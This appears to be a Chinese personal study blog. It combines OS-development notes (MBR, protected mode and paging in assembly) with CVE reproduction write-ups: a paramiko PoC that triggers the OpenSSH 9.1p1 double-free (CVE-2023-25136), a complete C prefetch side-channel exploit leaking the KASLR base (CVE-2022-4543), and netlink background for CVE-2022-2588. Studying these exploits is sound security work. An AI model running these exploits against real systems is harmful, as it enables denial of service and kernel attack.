0%

操作系统真相还原阅读笔记

学的慢,忘的快,做个记录防止发生学了后面学了忘了前面的事情。

BIOS

基本输入输出模块,储存在rom中,rom也被包括在内存中,BIOS天生存在在内存中,所以不需要被装载,而且地址是固定,一般在0xf0000~0xfffff中,所以在机器通电的一瞬间cpu的cs:ip就指向了BIOS的某个地址,来运行BIOS,此时处于实模式。

BIOS主要检测硬件,做各种初始化,建立中断向量表。

MBR

主引导记录,固定于0盘0道1扇区,这个扇区称为MBR引导扇区,mbr存在在硬盘中,当BIOS执行完自己的逻辑,然后会把mbr加载到内存中,地址固定为0x7c00,最后BIOS执行jmp 0:7c00跳到MBR。

简单的mbr代码

代码并不复杂,主要是使用了BIOS中断例程0x10来向屏幕输出字符串hello mbr,其中比较有意思的点就是SECTION MBR vstart=0x7c00,让起始地址为0x7c00,这么做的原因是BIOS只负责把MBR加载到0x7c00指向的内存中,并不会给他重定位,所以代码本身就得从0x7c00开始,代码才会正常运行。

虽然不复杂,但给我一种错觉,好像编写底层代码并不是一件非常困难的事情,搞懂了代码的运行环境就比较容易了,比如下面这段代码,他的起始地址必须是0x7c00,运行在实模式中,有BIOS提供的一些中断API,知道了这些就可以编写简单的代码了(逃。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
SECTION MBR vstart=0x7c00
mov ax,cs
mov ds,ax
mov es,ax
mov ss,ax
mov fs,ax
mov sp,0x7c00

mov ax,0x600
mov bx,0x700
mov cx,0
mov dx,0x184f
int 0x10

mov ah,3
mov bh,0
int 0x10

mov ax, msg
mov bp,ax
mov cx,9
mov ax,0x1301
mov bx,0x2
int 0x10

jmp $

msg db "hello mbr"
times 510-($-$$) db 0
db 0x55,0xaa

image-20230207213759574

上面是通过调用BIOS的api来完成的清屏和输出,其实可以直接操作显卡的显存来完成这一件事。主要就是把显存的第一页全置为0,然后把想输入的字符串输入进去。

比较麻烦的是实模式不支持很多的汇编语句,比如mov cl, byte [ax],赶紧进入保护模式吧。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
SECTION MBR vstart=0x7c00
mov ax,cs
mov ds,ax
mov es,ax
mov ss,ax
mov fs,ax
mov sp,0x7c00
mov ax,0xb800
mov gs,ax
mov bx,0
clear:
mov byte [gs:bx] ,0
add bx,1
cmp bx,4000
jnz clear

mov bx,0
mov di, msg
write:
mov cl,byte [di]
mov byte [gs:bx], cl
add bx,1
mov byte [gs:bx], 0xa4
add bx,1
add di,1
mov ax,di
cmp ax,msg+9
jnz write

jmp $

msg db "hello mbr"
times 510-($-$$) db 0
db 0x55,0xaa

image-20230209165230171

mbr只是启动的其中一个流程,主要的功能就是加载内核加载器,然后跳到内核加载器执行,内核加载器默认在第二个扇面,书中指定加载器加载到内存的0x900处,所以mbr需要做的工作就是把内核加载器loader从硬盘中读出来,读到内存0x900处,然后jmp 0x900就好了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
%include "boot.inc"
SECTION MBR vstart=0x7c00
mov ax,cs
mov ds,ax
mov es,ax
mov ss,ax
mov fs,ax
mov sp,0x7c00
mov ax,0xb800
mov gs,ax
mov bx,0
clear:
mov byte [gs:bx] ,0
add bx,1
cmp bx,4000
jnz clear


mov bx,0
mov di, msg
write:
mov cl,byte [di]
mov byte [gs:bx], cl
add bx,1
mov byte [gs:bx], 0xa4
add bx,1
add di,1
mov ax,di
cmp ax,msg+9
jnz write


mov eax,LOADER_START_SELCTOR
mov bx,LOADER_BASE_ADDR
mov cx,1

call ld_disk_loader
jmp LOADER_BASE_ADDR

ld_disk_loader:
mov esi,eax ;備份eax
mov di,cx ;備份cx

;設置要讀取的扇區數
mov dx,0x1f2
mov al,cl
out dx,al
mov eax,esi

;把loader的地址存入0x1f3到0x1f6
mov dx,0x1f3
out dx,al

mov cl,8
shr eax,cl
mov dx,0x1f4
out dx,al

shr eax,cl
mov dx,0x1f5
out dx,al

shr eax,cl
and al,0x0f
or al,0xe0
mov dx,0x1f6
out dx,al

mov dx,0x1f7
mov al,0x20
out dx,al

.not_ready:
nop
in al ,dx
and al,0x88
cmp al,0x08
jnz .not_ready

mov ax, di
mov dx,256
mul dx
mov cx,ax
mov dx,0x1f0

.read_loader:
in ax,dx
mov [bx],ax
add bx,2
loop .read_loader

ret

msg db "hello mbr"
times 510-($-$$) db 0
db 0x55,0xaa

写汇编还挺有意思的(逃。

保护模式

mbr把内核加载器加载到内存中然后跳到内核加载器执行代码,内核加载器第一步就应该切换模式,把实模式转换成保护模式,不然太束手束脚了。

感觉书上的关于显存段描述的代码错了,最后base=0x8000了,但其实得等于0xb8000才行,最后的截图也错了。

下面的汇编就是准备好gdt然后打开a20,加载gdt表到gdtr,然后打开cr0的pe,就正式进入了,最后再通过jmp SELECTOR_CODE:P_mode_start,既修改了cs又刷新了流水线,此时cpu真正进入了保护模式。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
%include "boot.inc"
SECTION loader vstart=LOADER_BASE_ADDR

jmp loader_start

GDT_BASE:
dd 0x00000000
dd 0x00000000
CODE_DESC:
dd 0x0000ffff
dd DESC_CODE_HIGH4
DATA_STACK_DESC:
dd 0x0000ffff
dd DESC_DATA_HIGH4
VIDEO_DESC:
dd 0x80000007
dd DESC_VIDEO_HIGH4

GDT_SIZE equ $-GDT_BASE
GDT_LIMIT equ GDT_SIZE-1
times 60 dq 0

SELECTOR_CODE equ (0x0001<<3)+TI_GDT+RPL0
SELECTOR_DATA equ (0x0002<<3)+TI_GDT+RPL0
SELECTOR_VIDEO equ (0x0003<<3)+TI_GDT+RPL0

gdt_ptr:
dw GDT_LIMIT
dd GDT_BASE

msg:
db "loader in real."
dd 0x00000000



loader_start:
mov sp,LOADER_BASE_ADDR
mov bp, msg
mov cx, 17
mov ax,0x1301
mov bx,0x001f
mov dx,0x1800
int 0x10

in al,0x92
or al,0x02
out 0x92,al

lgdt [gdt_ptr]

mov eax, cr0
or eax, 0x1
mov cr0 ,eax
jmp dword SELECTOR_CODE:p_mode_start


[bits 32]
p_mode_start:
mov ax,SELECTOR_DATA
mov ds,ax
mov es,ax
mov ss,ax
mov esp,LOADER_BASE_ADDR
mov ax,SELECTOR_VIDEO
mov gs,ax

mov byte [gs:160] ,'P'
mov byte [gs:161] ,0xa4
jmp $

其中比较疑惑的一点是jmp dword SELECTOR_CODE:p_mode_start,按道理来说执行完mov cr0 ,eax就已经打开保护模式了,此时cs=0,然后根据cs:ip取指肯定就取不到jmp dword SELECTOR_CODE:p_mode_start这条指令了啊,为什么还会执行它呢。

我的想法是还是和流水线有关系,当执行mov cr0 ,eax的时候,cpu还处于实模式,所以jmp dword SELECTOR_CODE:p_mode_start指令可以成功完成取值,而且此时处于译码,当mov cr0,eax执行完之后,jmp dword SELECTOR_CODE:p_mode_start也译码完成,但是译码成实模式的16位指令了。

在实模式下才可以使用bios中断,BIOS有一个中断可以获取内存情况,所以现在实模式下调用bios中断获取内存情况然后再转换成保护模式,内存情况是操作系统所需要的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
%include "boot.inc"
SECTION loader vstart=LOADER_BASE_ADDR

GDT_BASE:
dd 0x00000000
dd 0x00000000
CODE_DESC:
dd 0x0000ffff
dd DESC_CODE_HIGH4
DATA_STACK_DESC:
dd 0x0000ffff
dd DESC_DATA_HIGH4
VIDEO_DESC:
dd 0x80000007
dd DESC_VIDEO_HIGH4

GDT_SIZE equ $-GDT_BASE
GDT_LIMIT equ GDT_SIZE-1
times 60 dq 0

SELECTOR_CODE equ (0x0001<<3)+TI_GDT+RPL0
SELECTOR_DATA equ (0x0002<<3)+TI_GDT+RPL0
SELECTOR_VIDEO equ (0x0003<<3)+TI_GDT+RPL0

total_mem_bytes dd 0

gdt_ptr dw GDT_LIMIT
dd GDT_BASE

ARDS_buf times 244 db 0

ARDS_nr dw 0


loader_start:
xor ebx, ebx
mov edx, 0x534d4150
mov di,ARDS_buf

.e820_mem_get_findmax_loop:
mov eax, 0xe820
mov ecx,20
int 0x15
mov ebp, ARDS_buf
mov eax, [ebp]
add eax, [ebp+8]
cmp esi, eax
jge .e820_cmp_ebx
mov esi, eax
.e820_cmp_ebx:
inc word [ARDS_nr]
cmp ebx,0
jnz .e820_mem_get_findmax_loop

.mem_get_ok:
mov [total_mem_bytes] ,esi

.change_mode:
in al,0x92
or al,0x02
out 0x92,al

lgdt [gdt_ptr]

mov eax, cr0
or eax, 0x1
mov cr0 ,eax

jmp dword SELECTOR_CODE:p_mode_start


[bits 32]
p_mode_start:
mov ax,SELECTOR_DATA
mov ds,ax
mov es,ax
mov ss,ax
mov esp,LOADER_BASE_ADDR
mov ax,SELECTOR_VIDEO
mov gs,ax

mov byte [gs:160] ,'P'
mov byte [gs:161] ,0xa4
jmp $

下面就要开启虚拟地址了,32位系统采用二级页表,采用一级页表也行,但是使用的内存会比较大,最后页表的大小=(0x100000000//0x1000)*4=4MB,并且要一次性准备好,但是如果采用二级页表就不需要提前准备好,只有需要使用的时候再分配,那为什么不采用三级页表呢,因为没必要。64位系统采用四级页表。

页表映射关系也不是很复杂,目前就映射了前1MB的地址,而且有两种关系,采用直接映射主要是为了开启映射之后能正常执行代码。

![](C:\Users\张鹏\Pictures\Camera Roll\QQ图片20230225222943.jpg)

在页目录中填充了769~1022之间的页目录项,作用相当于占位符,代表前1GB的页表是固定的,这样所有进程的前1GB的页表也是一样的,可以共享内核所有空间。

在第1023处填了页表项自己的地址是比较巧妙的,这样内核就可以通过这个页表项管理所有的页表内容和页表项的内容了。

最后的映射如下图

image-20230225223107346

认真分析页表还是能看的明白的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
%include "boot.inc"
SECTION loader vstart=LOADER_BASE_ADDR

GDT_BASE:
dd 0x00000000
dd 0x00000000
CODE_DESC:
dd 0x0000ffff
dd DESC_CODE_HIGH4
DATA_STACK_DESC:
dd 0x0000ffff
dd DESC_DATA_HIGH4
VIDEO_DESC:
dd 0x80000007
dd DESC_VIDEO_HIGH4

GDT_SIZE equ $-GDT_BASE
GDT_LIMIT equ GDT_SIZE-1
times 60 dq 0

SELECTOR_CODE equ (0x0001<<3)+TI_GDT+RPL0
SELECTOR_DATA equ (0x0002<<3)+TI_GDT+RPL0
SELECTOR_VIDEO equ (0x0003<<3)+TI_GDT+RPL0

total_mem_bytes dd 0

gdt_ptr dw GDT_LIMIT
dd GDT_BASE

ARDS_buf times 244 db 0

ARDS_nr dw 0


loader_start:
xor ebx, ebx
mov edx, 0x534d4150
mov di,ARDS_buf

.e820_mem_get_findmax_loop:
mov eax, 0xe820
mov ecx,20
int 0x15
mov ebp, ARDS_buf
mov eax, [ebp]
add eax, [ebp+8]
cmp esi, eax
jge .e820_cmp_ebx
mov esi, eax
.e820_cmp_ebx:
inc word [ARDS_nr]
cmp ebx,0
jnz .e820_mem_get_findmax_loop

.mem_get_ok:
mov [total_mem_bytes] ,esi

.change_mode:
in al,0x92
or al,0x02
out 0x92,al

lgdt [gdt_ptr]

mov eax, cr0
or eax, 0x1
mov cr0 ,eax

jmp dword SELECTOR_CODE:p_mode_start


[bits 32]
p_mode_start:
mov ax,SELECTOR_DATA
mov ds,ax
mov es,ax
mov ss,ax
mov esp,LOADER_BASE_ADDR
mov ax,SELECTOR_VIDEO
mov gs,ax

call setup_page

sgdt [gdt_ptr]
add dword [gdt_ptr+2] ,0xc0000000
add esp,0xc0000000
mov eax, PAGE_DIR_TABLE_POS
mov cr3, eax

mov eax, cr0
or eax, 0x80000000
mov cr0, eax

lgdt [gdt_ptr]

mov byte [gs:160], 'V'
mov byte [gs:161], 0x1f

jmp $


;--------------------创建页目录以及页表----------------------------------
setup_page:
mov ecx, 4096
mov esi, 0
.clear_page_dir:
mov byte [PAGE_DIR_TABLE_POS+esi],0
mov byte [PAGE_DIR_TABLE_POS+esi+0x1000],0
inc esi
loop .clear_page_dir
.create_pde:
mov eax,PAGE_DIR_TABLE_POS
add eax, 0x1000
mov ebx, eax

or eax, PG_US_U|PG_RW_W|PG_P
mov [PAGE_DIR_TABLE_POS],eax
mov [PAGE_DIR_TABLE_POS+0xc00],eax

sub eax, 0x1000
mov [PAGE_DIR_TABLE_POS+4092] ,eax

mov ecx,256
mov esi,0
mov edx, PG_US_U|PG_RW_W|PG_P
.create_pte:
mov [ebx+esi*4],edx
inc esi
add edx,0x1000
loop .create_pte
mov eax, PAGE_DIR_TABLE_POS
add eax, 0x2000
or eax, PG_US_U|PG_RW_W|PG_P
mov ebx,PAGE_DIR_TABLE_POS
mov ecx,254
mov esi,769
.create_kernel_pde:
mov [ebx+esi*4],eax
inc esi
add eax,0x1000
loop .create_kernel_pde

ret

CVE-2023-25136 doublefree

0.45元的巨额红包让我获得了复现这个cve的机会。

搭建环境

这个cve出现在openssh9.1p上,所以得安装这个版本的openssh,我是下载源码然后编译安装的,起初这样做的目的是便于后面gdb源码调试,但在安装完之后使用一般启动sshd的命令并没有办法启动成功,比如这种命令。

1
service sshd start

至于为什么不能这样做,大概率是我编译安装的openssh并不是通过apt安装的,导致包管理中没有sshd的信息,要启动自己编译安装的openssh得通过自己编译的sshd启动,比如

1
2
3
4
/home/lot/openssh/openssh-9.1p1/sshd
#也可以这样,不过这个sshd没有符号表
/usr/sbin/sshd
/usr/local/sbin/sshd

这样就算搭建成功了,白神给的文章中说还需要修改sshd_config文件,经过我的测试,发现并不需要,在这篇文章中,作者是采用PuTTY软件和sshd交互的,而且他使用的PuTTY版本很低,所以里面的一些协议或者算法过时了可能,想要连接成功就需要sshd也支持这些过时的协议或者算法,在poc脚本中直接采用paramiko模块和sshd交互,这个模块没有使用这些旧协议或者算法,所以不需要。

漏洞成因

首先是PuTTY和sshd的关系,putty就是个连接工具。一般是windows用,支持ssh协议,当PuTTY连接sshd的时候,会在连接报文中会表明自己是PuTTY,poc脚本的transport.local_version = f"SSH-2.0-{CLIENT_ID}"就是干这件事,然后sshd分析报文,解析出这个字段后就会进入专门的处理函数。

漏洞就出现在处理函数compat_kex_proposal上,下面是这个函数的代码.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
compat_kex_proposal(struct ssh *ssh, char *p)
{
char *cp = NULL;


if ((ssh->compat & (SSH_BUG_CURVE25519PAD|SSH_OLD_DHGEX)) == 0)
return xstrdup(p);
debug2_f("original KEX proposal: %s", p);
if ((ssh->compat & SSH_BUG_CURVE25519PAD) != 0)
if ((p = match_filter_denylist(p,
"curve25519-sha256@libssh.org")) == NULL)
fatal("match_filter_denylist failed");
if ((ssh->compat & SSH_OLD_DHGEX) != 0) { [1]
cp = p; [2]
if ((p = match_filter_denylist(p,
"diffie-hellman-group-exchange-sha256,"
"diffie-hellman-group-exchange-sha1")) == NULL)
fatal("match_filter_denylist failed");
free(cp); [3]
}
debug2_f("compat KEX proposal: %s", p);
if (*p == '\0')
fatal("No supported key exchange algorithms found");
return p;
}

openssh是这样调用这个函数的

1
ptrb = compat_kex_proposal(v90, options.kex_algorithms);

他把全局变量options的kex_algorithms传入了这个函数,即p=kex_algorithms然后当选择[1]条件通过时就让cp=p,然后free(cp),相当于free(kex_algorithms),关键就是他free完没有清空kex_algorithms,然后在assemble_algorithms()函数中又调用了这样一条语句

1
v8 = kex_assemble_names(&o->kex_algorithms, def_kex, v3);

他把kex_algorithms的地址又传入kex_assemble_names()函数中,他会执行下面这段代码,其中list就等于kex_algorithms的值,这样就把一个堆块free了两次,导致程序崩溃。

1
2
3
4
5
if ((tmp = kex_names_cat(list + 1, def)) == NULL) {
r = SSH_ERR_ALLOC_FAIL;
goto fail;
}
free(list);

攻击过程

poc如下

1
2
3
4
5
6
7
8
9
10
11
12
import paramiko

VICTIM_IP = "192.168.11.139"
CLIENT_ID = "PuTTY_Release_0.64"

def main():
transport = paramiko.Transport(VICTIM_IP)
transport.local_version = f"SSH-2.0-{CLIENT_ID}"
transport.connect(username='111', password='111')

if __name__ == "__main__":
main()

直接拿poc跑,然后断在kex_assemble_names()函数的free(list)语句,下面是当时的截图,能够比较清晰的看见即将free0x556d983e2a00,但这个堆块同时在smallbins上,肯定就会导致doublefree,进而导致程序崩溃。

image-20230211161643273

image-20230211161652858

直接注意的一点是不能先断在compat_kex_proposal让程序执行到这里再断到free(list),因为这个过程很耗时,导致客户端退出连接,那sshd也不会执行正常逻辑了,即不会执行到free(list)

攻击效果

感觉有点差强人意,sshd是每有一个连接就新开一个进程,这个cve只能导致和自己连接的分支进程崩溃,不会导致sshd崩溃。至于能不能rce,我只能说理论上可以。

CVE-2022-4543及kpti机制

翻腾讯玄武公众号看到了这个cve-2022-4543,令我这个菜鸡大受震撼。

据我了解kpti有一部分就是为了缓解kaslr的侧信道攻击和内核页表泄露而产生的机制,但是这个cve居然通过kpti侧信道来绕过kaslr🤣,缓解了个寂寞。

Meltdown攻击

Meltdown攻击是一种直接针对底层硬件机制(CPU的乱序执行机制、Cache机制和异常处理机制)的时间侧信道攻击,它的基本原理如下所示:

img

这里对上图及上述条件作简单解释:从顶层程序的角度来看,指令A、B和C应该是顺序执行的,且由于指令A访问了非法地址的数据会触发异常,故指令B和C的操作不会被执行;然而,从底层硬件的角度来看,指令A、B和C满足乱序执行的条件,于是在下一指令所需要的数据准备完成后就可以立即开始下一指令的执行。在图中指令A的“阶段A_1”结束后,指令B由于所需要的数据已经准备完成故可立即开始执行;在图中指令B的“阶段B_1”结束后,指令C由于所需要的数据已经准备完成故可立即开始执行。若“阶段A_2”的执行时间大于“阶段B_1”的执行时间和“阶段C_1”的执行时间之和,则非法数据能够经过运算产生合法地址,且该合法地址的数据能够被放入L3_Cache中;若在指令A的“阶段A_2”结束后,检查出非法访问所引起的回滚冲刷不影响L3_Cache,则与非法数据相关的合法数据依然存在于L3_Cache中。最后,通过遍历访问合法地址的数据,并对访问时间进行计时,能够找到某个访问时间明显较短的合法数据,该数据的合法地址即为指令B中由非法数据经过运算后所得到的值,从而可以反推出原非法数据,于是间接地得到了非法地址中的数据。

kpti机制

简而言之,在没有kpti之前,内核空间和用户空间都是存在同一个页表中,这样做的好处有很多,比如效率高,从用户态切换到内核态的时候不需要切换页表,但也带来了很多问题,比较严重的问题就是内核和用户态的隔离变弱了,导致在用户态就能通过侧信道等一系列手段获得内核态的一些信息,进而对内核进行攻击,比较著名的就是熔毁和幽灵攻击了(Meltdown & Spectre)。

kpti为了解决这一些系列问题应运而生。它为了加强内核态和用户态的隔离,让他们分别处于不同的页表之中,如下图

在这里插入图片描述

进程页表分割成用户态页表和内核态页表的具体方案是什么样的?

1、在运行userapplication 的时候,将kernel mapping 减少到最少,只保留必须的user到kernel的exception entry mapping(注意这个cve就是利用了这个特性). 其他的kernel mapping 在运行user application时都去掉,变成无效mapping,这样的话,如果user访问kernel data, 在MMU地址转换的时候就会被挡掉(因为无效mapping).
2、设计一个trampoline 的kernel PGD给运行user时用。Trampoline kernel mapping PGD只包含exception entry必需的mapping.
3、当user通过系统调用,或是timer或其他异常进入kernel是首先用trampoline的mapping,接下来tramponline的vector处理会将kernel mapping 换成正常的kernel mapping(SWAPPER_PGD_DIR), 并直接跳转到kernel原来的vector entry, 继续正常处理。我们把上述过程称之为map kernel mapping.
4、当从kernel返回到user时,正常的kernel_exit会调用trampoline的exit,tramp_exit会重新将kernel mapping 换成是trampoline. 这个过程叫unmap kernel mapping.

这个过程还是比较熟悉的,和xv6的操作系统的实现原理大差不差。

kpti除了上述特性,还引入了pcid/asid,这个我认为才是加强隔离最重要的措施,在没有pcid/asid之前tlb是无法分辨不同进程的页表项的,因为他们的虚拟空间都是重叠的,所以切换进程的时候tlb必须全部刷新,但这个效率太低了,所有进程的内核空间是一样的,所以tlb引入了Global TLBnon-Global TLB,内核pte是Global TLB,用户态pte是non-Global,切换进程的时候只需要刷新non-Global就行,这样tlb就相当于半刷新了。

在这里插入图片描述

其实pcid/asid就相当于进程页表标识,每一个进程在运行时,都会动态分配一个pcid/asid,如果进程切换到本进程开始运行,把对应的pcid/asid配置到cr3中

在这里插入图片描述

在进程运行过程中,根据本进程的pgd产生的页表转换关系会缓存到TLB中,所有产生的TLB条目会根据当前cr3中的pcid/asid打上标签。TLB条目有了标签以后,页表切换就不需要去刷新旧的条目了,因为当前cpu只会认和当前cr3中asid相同的TLB条目,这样TLB就不用频繁的去刷新,且相互之间也是隔离的。为了同一进程内的用户态页表和内核态页表隔离,每个进程需要两个asid。用最高位bit11来区分,bit11=0 为内核态asid,bit11=1 为用户态asid。

在这里插入图片描述

简而言之,pcid就是进程之间区分的标识,asid就是同一个进程内核页表和用户态页表区分的标识,这样就在tlb中彻底区分了不同进程的页表项和统一进程不同态的页表项,在tlb层面实现了较为完美的隔离。

在切换进程的时候只需要根据pcid/asid把自己的页表项清除就好了,不需要全刷新或者半刷新。

cpu预取机制

x86_64有一组预取指令prefetch,这些指令可以将指定地址预取到cpu cache中,当然这个地址也会被刷新到快表tlb中,如果将要预取的地址已经存在在tls中了(就是之前使用过这个地址),那么预取将会快速完成,但是当地址不存在的时候,预取指令将会完成的比较慢,这很好理解,因为之前没有访问过,所以地址对应的pte不在tls中,所以还得遍历页表找到物理地址然后把对应地址数据拷贝到cpu cache,中,比之前者多了两步操作。

CVE-2022-4543攻击思路

主要的漏洞成因是在用户态页表中映射了entry_SYSCALL_64内核空间,而且和内核态的映射关系是相同的且这个地址到内核态的基地址的偏移是固定的,所以只要在用户态多次进行系统调用,就会在内核态多次执行entry_SYSCALL_64内部的相关函数,这样就会导致这部分地址进入tlb且对应内容会进入cpucache中,这样此时tlb中关于内核态的地址只有这一个,然后再使用预取指令遍历所有的的内核空间,找到所需时间最短的那个地址,这个地址就是entry_SYSCALL_64的地址了。然后再减去固定偏移就得到内核态基地址了。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>

#define KERNEL_LOWER_BOUND 0xffffffff80000000ull
#define KERNEL_UPPER_BOUND 0xffffffffc0000000ull
#define entry_SYSCALL_64_offset 0xd00000ull

uint64_t sidechannel(uint64_t addr) {
uint64_t a, b, c, d;
asm volatile (".intel_syntax noprefix;"
"mfence;"
"rdtscp;"
"mov %0, rax;"
"mov %1, rdx;"
"xor rax, rax;"
"lfence;"
"prefetchnta qword ptr [%4];"
"prefetcht2 qword ptr [%4];"
"xor rax, rax;"
"lfence;"
"rdtscp;"
"mov %2, rax;"
"mov %3, rdx;"
"mfence;"
".att_syntax;"
: "=r" (a), "=r" (b), "=r" (c), "=r" (d)
: "r" (addr)
: "rax", "rbx", "rcx", "rdx");
a = (b << 32) | a;
c = (d << 32) | c;
return c - a;
}

#define STEP 0x100000ull
#define SCAN_START KERNEL_LOWER_BOUND + entry_SYSCALL_64_offset
#define SCAN_END KERNEL_UPPER_BOUND + entry_SYSCALL_64_offset

#define DUMMY_ITERATIONS 5
#define ITERATIONS 100
#define ARR_SIZE (SCAN_END - SCAN_START) / STEP

uint64_t leak_syscall_entry(void)
{
uint64_t data[ARR_SIZE] = {0};
uint64_t min = ~0, addr = ~0;

for (int i = 0; i < ITERATIONS + DUMMY_ITERATIONS; i++)
{
for (uint64_t idx = 0; idx < ARR_SIZE; idx++)
{
uint64_t test = SCAN_START + idx * STEP;
syscall(104);
uint64_t time = sidechannel(test);
if (i >= DUMMY_ITERATIONS)
data[idx] += time;
}
}

for (int i = 0; i < ARR_SIZE; i++)
{
data[i] /= ITERATIONS;
if (data[i] < min)
{
min = data[i];
addr = SCAN_START + i * STEP;
}
printf("%llx %ld\n", (SCAN_START + i * STEP), data[i]);
}

printf("[*] entry_SYSCALL_6_addr:%p\n",addr);
return addr;
}

int main()
{
printf ("KASLR base %llx\n", leak_syscall_entry() - entry_SYSCALL_64_offset);
}

攻击效果

image-20230131163442189

cve-2022-2588学习

感觉好牛,看描述是一个exp可以完成多个版本的通杀,因为在exp中并没有使用某一个特定的内核地址,所以就是说这个exp没有地址依赖,没有地址依赖那就没有内核版本限制了。最主要还是想学习一下这个漏洞利用才想着学习这个cve的,但是一看exp人傻了,七八百行,再加上网上的资料很少。。。彳亍。。。一周半起步了。

前置知识浅学

内核路由表

不只是路由器需要路由表,主机自己也得有路由表,路由表的作用其实就类似于导航的作用,它告诉主机数据包应该转发到哪里。如果主机不含路由表,那么它所有的数据包都传送不出去。所以不关事路由器,主机也会有自己的路由表。

可以通过route -n来查看主机的路由表,下面是我虚拟机的路由表。

1
2
3
4
5
6
7
内核 IP 路由表
目标 网关 子网掩码 标志 跃点 引用 使用 接口
0.0.0.0 192.168.11.2 0.0.0.0 UG 100 0 0 ens33
169.254.0.0 0.0.0.0 255.255.0.0 U 1000 0 0 ens33
172.17.0.0 0.0.0.0 255.255.0.0 U 0 0 0 docker0
192.168.11.0 0.0.0.0 255.255.255.0 U 100 0 0 ens33

一条路由信息主要包括以下几点。

  • 目的地址
  • 下一跳地址
  • 子网掩码
  • 网卡接口

内核子系统

linux内核主要由以下七个子系统组成,其中最主要的四个子系统是内存管理子系统、进程管理子系统、网络子系统、虚拟文件系统。

img

各个模块的大概依赖如下

image

稍微对网络子系统和虚拟文件系统做个了解

网络子系统

Linux网络子系统提供了对各种网络标准的存取和各种硬件的支持。下图是其整体结构。其可以分为协议层和网络驱动程序,其中网络协议主要负责实现每一种可能的网络传输协议,而网络驱动程序负责与硬件通信。

img

虚拟文件系统

Linux虚拟文件系统(VFS)隐藏了各种硬件的具体细节,为所有的设备提供了统一的接口,它是对各种文件系统的一个抽象,其实使用超级块super block存放文件系统相关信息,使用索引节点inode存放文件的物理信息,使用目录项dentry存放文件的逻辑信息,其整体架构如下。

img

子系统之间通信

内核的子系统之间是互相依赖的,当某个子系统状态发生改变的时候,就必须使用一定的机制告知使用其服务的其他子系统,以便其他子系统采取相应的措施,但到底如何利用netlink进行子系统之间的通信还是没有查到,只知道各个子系统会对不同的消息会有不同的处理措施。

内核和用户态进程进行双向通信的一种机制,非常强大,不仅可以支持内核子系统和用户态进程的通信,还可以进行内核中不同子系统之间的通信,但是我在谷歌或者百度中并没有找到相关机制说明和代码演示,只有内核和用户态进程之间通信的代码实践。

创建socket套接字的时候的结构体,和用户态socket的sockaddr_in结构体功能类似。

1
2
3
4
5
6
7
struct sockaddr_nl
{
sa_family_t nl_family; /*该字段总是为AF_NETLINK */
unsigned short nl_pad; /* 目前未用到,填充为0*/
__u32 nl_pid; /* process pid */
__u32 nl_groups; /* multicast groups mask */
};

其中nl_pid字段比较重要,当有多个用户态进程连接内核时,内核通过这个字段区分不同进程,一般使用getpid()赋值。

netlink消息体如下

T3

消息头结构体如下

1
2
3
4
5
6
7
8
struct nlmsghdr
{
__u32 nlmsg_len; /* Length of message including header */
__u16 nlmsg_type; /* Message content */
__u16 nlmsg_flags; /* Additional flags */
__u32 nlmsg_seq; /* Sequence number */
__u32 nlmsg_pid; /* Sending process PID */
};

用户态和内核态双向通信代码示例

这份代码是基于内核2.x的,不知道如今内核版本是否能用,并未做过实验,仅做记录学习使用。

用户态

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
#include <sys/stat.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <string.h>
#include <asm/types.h>
#include <linux/netlink.h>
#include <linux/socket.h>

#define MAX_PAYLOAD 1024 /*消息最大负载为1024字节*/

int main(int argc, char* argv[])
{
struct sockaddr_nl dest_addr;
struct nlmsghdr *nlh = NULL;
struct iovec iov;
int sock_fd=-1;
struct msghdr msg;

if(-1 == (sock_fd=socket(PF_NETLINK, SOCK_RAW,NETLINK_TEST))){
perror("can't create netlink socket!");
return 1;
}
memset(&dest_addr, 0, sizeof(dest_addr));
dest_addr.nl_family = AF_NETLINK;
dest_addr.nl_pid = 0; /*我们的消息是发给内核的*/
dest_addr.nl_groups = 0; /*在本示例中不存在使用该值的情况*/

